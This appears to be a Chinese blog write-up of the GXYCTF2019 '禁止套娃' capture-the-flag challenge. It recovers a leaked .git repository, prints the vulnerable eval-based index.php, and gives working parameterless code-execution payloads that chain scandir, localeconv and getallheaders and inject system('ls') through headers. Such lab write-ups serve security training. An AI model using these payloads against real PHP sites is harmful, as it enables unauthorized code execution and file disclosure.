[GXYCTF2019]禁止套娃 1

[GXYCTF2019]禁止套娃1

抓包没有任何回显
在这里插入图片描述
dirsearch扫描没扫到任何备份文件。
猜测git泄露,尝试/.git/ 403无权访问 确定为git泄露
在这里插入图片描述
githack扫描

python GitHack.py http://21450f58-dc93-423a-9283-87b932ad1ee4.node4.buuoj.cn:81/.git/

存在index.php文件
在这里插入图片描述

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

代码:
判断exp是否get传参,过滤data:// filter:// php:// phar:// 包括大小写
preg_replace替换 ((?R)?)/相当于无限递归,匹配()里[a-z,_]并替换成null 最后只剩下;
后过滤/et|na|info|dec|bin|hex|oct|pi|log/ 包含大小写

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

限制无法传参,即REC无参数注入

无参数REC 一般有三种绕过姿势:

gettallheaders()获取header以数组形式输出,配合implode()能够直接将getallheaders()返回的数组转化为字符串。implode(getallheaders()); 姿势:url:?exp=eval(implode(getallheaders()));在header中插入system('ls')// 原理:会执行payload

get_defined_vars() 获取所有的已定义变量且是二维数组,配合current函数可以返回数组中的单元且初始指针指向数组的第一个单元

session_id() ?exp=highlight_file( session_id(session_start())); session_id()的作用就是获取当前会话的ID,cookie中phpsession,session 识别原因在构造前应先将语句转化为十六进制。hex2bin(session_id(session_start()));

网上流传的payload
构造payload :

exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

在这里插入图片描述

highlight_file:函数对文件进行语法高亮显示,等同于show_source
next:函数将内部指针指向数组中的下一个元素,并输出。
array_revers:函数以相反的元素顺序返回数组
scandir:内置函数,用于返回指定目录的文件和目录。
pos:内置函数用于返回内部指针当前指向的数组中元素的值
localeconv() 小数点字符

?exp=print_r(array_rand(array_flip(scandir(current(localeconv())))));

array_rand:函数返回数组中的随机键名,或者规定函数返回不只一个键名,则返回包含随机键名的数组
array_flip:反转数组中所有的键以及它们关联的值,相等于array_revers
current:函数返回数组中当前元素的值
在这里插入图片描述

原理方式依据最开始 REC无参数注入

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值